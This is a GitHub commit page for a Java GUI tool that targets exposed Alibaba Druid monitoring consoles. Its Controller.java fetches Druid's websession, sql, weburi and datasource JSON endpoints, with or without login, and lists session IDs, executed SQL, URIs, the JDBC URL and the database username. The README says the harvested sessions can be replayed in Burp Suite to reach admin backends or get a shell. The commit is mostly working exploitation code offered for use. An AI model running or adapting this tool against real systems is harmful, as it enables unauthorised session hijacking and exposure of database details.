Skip to content

Commit c9f1065

Browse files
yuyan-secyuyan-sec
committed
update
1 parent 7b923a1 commit c9f1065

File tree

10 files changed

+228
-134
lines changed

10 files changed

+228
-134
lines changed

‎1.png‎

14.8 KB
Loading

‎2.png‎

50.8 KB
Loading

‎README.md‎

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
### 使用说明：
22

3-
利用正则匹配出session，然后就可以利用Burpsuite进行遍历sessions验证是否可用，如果你是天选之子就可以利用session进入后台或者getshell 啦。
3+
利用工具快速获取 Alibaba Druid 的相关参数（sessions, sql, uri, jdbc ），然后就可以利用Burpsuite进行遍历sessions验证是否可用，如果运气好就可以利用session进入后台或者getshell 啦。
44

55

66

@@ -12,14 +12,15 @@ cwkiller师傅的利用文章：https://www.cnblogs.com/cwkiller/p/12483223.html
1212

1313

1414

15-
1615
### 工具说明：
1716

18-
golang 版本可以在 [releases](https://github.com/yuyan-sec/druid_sessions/releases) 下载，使用 java 写了一个 GUI 编译好可以在 [releases](https://github.com/yuyan-sec/druid_sessions/releases) 下载
17+
默认请求带有 /druid/* 相关路径
1918

20-
![](/1.png)
19+
![1](1.png)
2120

21+
![1](2.png)
2222

23+
GUI 界面参考：https://github.com/f0ng/poc2jar
2324

2425
----
2526

‎pom.xml‎

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,26 @@
44
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
55
<modelVersion>4.0.0</modelVersion>
66

7-
<groupId>cn.yuyan</groupId>
7+
<groupId>org.example</groupId>
88
<artifactId>druid_sessions</artifactId>
99
<version>1.0-SNAPSHOT</version>
1010

11+
<properties>
12+
<maven.compiler.source>8</maven.compiler.source>
13+
<maven.compiler.target>8</maven.compiler.target>
14+
</properties>
15+
1116
<dependencies>
1217
<dependency>
13-
<groupId>org.jodd</groupId>
14-
<artifactId>jodd-http</artifactId>
15-
<version>6.0.4</version>
16-
<scope>compile</scope>
18+
<groupId>com.github.kevinsawicki</groupId>
19+
<artifactId>http-request</artifactId>
20+
<version>6.0</version>
21+
</dependency>
22+
23+
<dependency>
24+
<groupId>com.alibaba.fastjson2</groupId>
25+
<artifactId>fastjson2</artifactId>
26+
<version>2.0.8</version>
1727
</dependency>
1828
</dependencies>
1929

‎src/main/META-INF/MANIFEST.MF‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
Manifest-Version: 1.0
2+
Main-Class: Main
3+

‎src/main/java/Controller.java‎

Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
import com.alibaba.fastjson2.JSONObject;
2+
import com.github.kevinsawicki.http.HttpRequest;
3+
import javafx.event.ActionEvent;
4+
import javafx.fxml.FXML;
5+
import javafx.scene.control.Alert;
6+
import javafx.scene.control.TextArea;
7+
import javafx.scene.control.TextField;
8+
9+
import java.util.HashMap;
10+
11+
public class Controller {
12+
13+
@FXML
14+
private TextArea sessions;
15+
16+
@FXML
17+
private TextArea urls;
18+
19+
@FXML
20+
private TextArea sql;
21+
22+
@FXML
23+
private TextField url;
24+
25+
@FXML
26+
private TextField jdbc;
27+
28+
@FXML
29+
private TextField user;
30+
31+
@FXML
32+
private TextField pass;
33+
34+
private static HashMap<String, String> hashMap = new HashMap<>();
35+
36+
public void BtnExp(ActionEvent actionEvent) {
37+
String u = url.getText();
38+
u = u.replaceFirst("/$","");
39+
String code = httpGet(u+"/druid/index.html","").get("code");
40+
if (code.equals("302")){
41+
clean();
42+
ShowErr("靓仔，Druid 需要登录哦");
43+
return;
44+
}
45+
46+
Exp(u,"");
47+
}
48+
49+
public void BtnLogin(ActionEvent actionEvent) {
50+
String u = url.getText();
51+
u = u.replaceFirst("/$","");
52+
53+
String data = String.format("loginUsername=%s&loginPassword=%s", user.getText(), pass.getText());
54+
HashMap<String, String> post = httpPost(u + "/druid/submitLogin", data);
55+
if (!post.get("body").equals("success")){
56+
clean();
57+
ShowErr("账号密码错误");
58+
return;
59+
}
60+
Exp(u,post.get("set-cookie"));
61+
}
62+
63+
public void Exp(String url, String cookie){
64+
String webSession = url + "/druid/websession.json";
65+
String webSql = url + "/druid/sql.json";
66+
String webUri = url + "/druid/weburi.json";
67+
String webDb = url + "/druid/datasource.json";
68+
69+
String s = httpGet(webSession, cookie).get("body");
70+
sessions.setText(getDruidJson(s,"SESSIONID"));
71+
72+
String s1 = httpGet(webSql, cookie).get("body");
73+
sql.setText(getDruidJson(s1,"SQL"));
74+
75+
String s2 = httpGet(webUri, cookie).get("body");
76+
urls.setText(getDruidJson(s2,"URI"));
77+
78+
String s3 = httpGet(webDb, cookie).get("body");
79+
String userName = getDruidJson(s3, "UserName");
80+
String jdbcUrl = getDruidJson(s3, "URL");
81+
82+
jdbc.setText("数据库用户名: "+userName + " " + jdbcUrl);
83+
}
84+
85+
public static HashMap<String, String> httpGet(String url,String cookie){
86+
HttpRequest httpRequest = HttpRequest.get(url).followRedirects(false).header("Cookie",cookie);
87+
hashMap.put("body", httpRequest.body());
88+
hashMap.put("code", String.valueOf(httpRequest.code()));
89+
return hashMap;
90+
}
91+
92+
public static HashMap<String, String> httpPost(String url, String data){
93+
HttpRequest httpRequest = HttpRequest.post(url).send(data);
94+
hashMap.put("body", httpRequest.body());
95+
hashMap.put("code", String.valueOf(httpRequest.code()));
96+
hashMap.put("set-cookie",httpRequest.header("Set-Cookie"));
97+
return hashMap;
98+
}
99+
100+
public String getDruidJson(String body, String str){
101+
JSONObject object = JSONObject.parseObject(body);
102+
StringBuilder result = new StringBuilder();
103+
104+
if(object.getJSONArray("Content") == null){
105+
return "";
106+
}
107+
108+
for (Object obj: object.getJSONArray("Content")) {
109+
JSONObject jsonObject = (JSONObject) obj;
110+
try {
111+
String json = jsonObject.getString(str).replaceAll("\n"," ").replaceAll("\t"," ");
112+
result.append(json).append("\n");
113+
} catch (Exception e) {
114+
e.printStackTrace();
115+
}
116+
117+
}
118+
return result.toString();
119+
}
120+
121+
public void clean(){
122+
sessions.setText("");
123+
sql.setText("");
124+
urls.setText("");
125+
jdbc.setText("");
126+
}
127+
public void ShowErr(String err){
128+
Alert alert = new Alert(Alert.AlertType.ERROR);
129+
alert.setHeaderText(null);
130+
alert.setContentText(err);
131+
alert.showAndWait();
132+
}
133+
}

‎src/main/java/Druid_Sessions.java‎

Lines changed: 0 additions & 122 deletions
This file was deleted.

‎src/main/java/META-INF/MANIFEST.MF‎

Lines changed: 0 additions & 3 deletions
This file was deleted.

‎src/main/java/Main.java‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
import javafx.application.Application;
2+
import javafx.fxml.FXMLLoader;
3+
import javafx.scene.Parent;
4+
import javafx.scene.Scene;
5+
import javafx.stage.Stage;
6+
7+
8+
public class Main extends Application {
9+
public static void main(String[] args) {
10+
launch(args);
11+
}
12+
13+
@Override
14+
public void start(Stage primaryStage) throws Exception {
15+
Parent root = FXMLLoader.load(getClass().getResource("main.fxml"));
16+
primaryStage.setTitle("Alibaba Druid 辅助工具");
17+
primaryStage.setScene(new Scene(root));
18+
primaryStage.show();
19+
}
20+
}

‎src/main/resources/main.fxml‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
3+
<?import javafx.scene.control.Button?>
4+
<?import javafx.scene.control.Label?>
5+
<?import javafx.scene.control.TextArea?>
6+
<?import javafx.scene.control.TextField?>
7+
<?import javafx.scene.layout.AnchorPane?>
8+
<?import javafx.scene.shape.Rectangle?>
9+
<?import javafx.scene.text.Font?>
10+
11+
<AnchorPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="572.0" prefWidth="841.0" xmlns="http://javafx.com/javafx/8.0.202" xmlns:fx="http://javafx.com/fxml/1" fx:controller="Controller">
12+
<children>
13+
<Rectangle arcHeight="5.0" arcWidth="5.0" fill="WHITE" height="94.0" layoutX="3.0" layoutY="3.0" stroke="#a8a8a8" strokeType="INSIDE" width="833.0" />
14+
<TextArea fx:id="sessions" layoutX="3.0" layoutY="102.0" prefHeight="461.0" prefWidth="260.0" />
15+
<TextArea fx:id="urls" layoutX="265.0" layoutY="102.0" prefHeight="461.0" prefWidth="284.0" />
16+
<TextArea fx:id="sql" layoutX="552.0" layoutY="102.0" prefHeight="461.0" prefWidth="284.0" />
17+
<TextField fx:id="url" layoutX="66.0" layoutY="8.0" prefHeight="34.0" prefWidth="455.0" promptText="URL 默认带有路径：/druid/*" />
18+
<TextField fx:id="jdbc" layoutX="66.0" layoutY="53.0" prefHeight="34.0" prefWidth="455.0" />
19+
<Label layoutX="14.0" layoutY="15.0" text="URL：">
20+
<font>
21+
<Font size="15.0" />
22+
</font>
23+
</Label>
24+
<Label layoutX="14.0" layoutY="60.0" text="JDBC：">
25+
<font>
26+
<Font size="15.0" />
27+
</font>
28+
</Label>
29+
<Label layoutX="525.0" layoutY="15.0" text="User：">
30+
<font>
31+
<Font size="15.0" />
32+
</font>
33+
</Label>
34+
<Label layoutX="525.0" layoutY="60.0" text="Pass：">
35+
<font>
36+
<Font size="15.0" />
37+
</font>
38+
</Label>
39+
<TextField fx:id="user" layoutX="572.0" layoutY="8.0" prefHeight="34.0" prefWidth="155.0" />
40+
<TextField fx:id="pass" layoutX="572.0" layoutY="53.0" prefHeight="34.0" prefWidth="155.0" />
41+
<Button layoutX="730.0" layoutY="7.0" mnemonicParsing="false" onAction="#BtnExp" prefHeight="34.0" prefWidth="102.0" text="未授权利用">
42+
<font>
43+
<Font size="15.0" />
44+
</font>
45+
</Button>
46+
<Button layoutX="730.0" layoutY="53.0" mnemonicParsing="false" onAction="#BtnLogin" prefHeight="34.0" prefWidth="102.0" text="登录后利用">
47+
<font>
48+
<Font size="15.0" />
49+
</font>
50+
</Button>
51+
</children>
52+
</AnchorPane>

0 commit comments

Comments
 (0)